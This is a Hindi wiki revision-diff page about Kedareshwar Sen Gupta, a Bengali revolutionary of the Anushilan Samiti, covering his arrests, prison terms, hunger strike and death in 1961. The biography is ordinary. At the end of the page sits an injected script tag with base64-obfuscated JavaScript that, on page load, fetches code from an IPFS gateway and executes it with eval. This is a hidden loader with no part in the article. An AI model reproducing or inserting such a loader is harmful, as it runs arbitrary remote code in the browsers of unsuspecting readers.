"केदारेश्वर सेन गुप्ता" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} केदारेश्वर सेन गुप्ता (जन्म- दिसंबर, [[1894...' के साथ नया पन्ना बनाया)
 
पंक्ति 3: पंक्ति 3:
 
==जीवन परिचय==
 
==जीवन परिचय==
  
केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। शचीन्द्र सान्याल उस समय [[उत्तर प्रदेश]] में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और रास बिहारी बोस के [[जापान]] चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए [[वाराणसी]] भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। [[1917]] में वे पुलिस की पकड़ में आ गए और [[1919]] तक [[हज़ारीबाग]] जेल में बंद रहे।  
+
केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। शचीन्द्र सान्याल उस समय [[उत्तर प्रदेश]] में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और रास बिहारी बोस के [[जापान]] चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए [[वाराणसी]] भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। [[1917]] में वे पुलिस की पकड़ में आ गए और [[1919]] तक [[हज़ारीबाग़]] जेल में बंद रहे।  
  
 
जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में [[मुंबई]] गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें क्षय रोग ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो [[1941]] से [[1946]] तक फिर जेल में डाल दिए गए। बाद में वे पूर्वी बंगाल से [[कोलकाता]] आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।  
 
जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में [[मुंबई]] गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें क्षय रोग ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो [[1941]] से [[1946]] तक फिर जेल में डाल दिए गए। बाद में वे पूर्वी बंगाल से [[कोलकाता]] आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।  

10:12, 11 जून 2011 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

केदारेश्वर सेन गुप्ता (जन्म- दिसंबर, 1894 ढाका ज़िले पूर्वी बंगाल, मृत्यु-7 अक्टूबर, 1961) एक क्रांतिकारी व्यक्ति थे।

जीवन परिचय

केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। शचीन्द्र सान्याल उस समय उत्तर प्रदेश में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और रास बिहारी बोस के जापान चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए वाराणसी भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। 1917 में वे पुलिस की पकड़ में आ गए और 1919 तक हज़ारीबाग़ जेल में बंद रहे।

जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में मुंबई गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें क्षय रोग ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो 1941 से 1946 तक फिर जेल में डाल दिए गए। बाद में वे पूर्वी बंगाल से कोलकाता आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।

मृत्यु

व्यक्तिगत सुविधाओं की सदा उपेक्षा करने वाले केदारेश्वर सेन गुप्ता देशभक्त ने 7 अक्टूबर, 1961 को अंतिम सांस ली।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ


लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 189।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>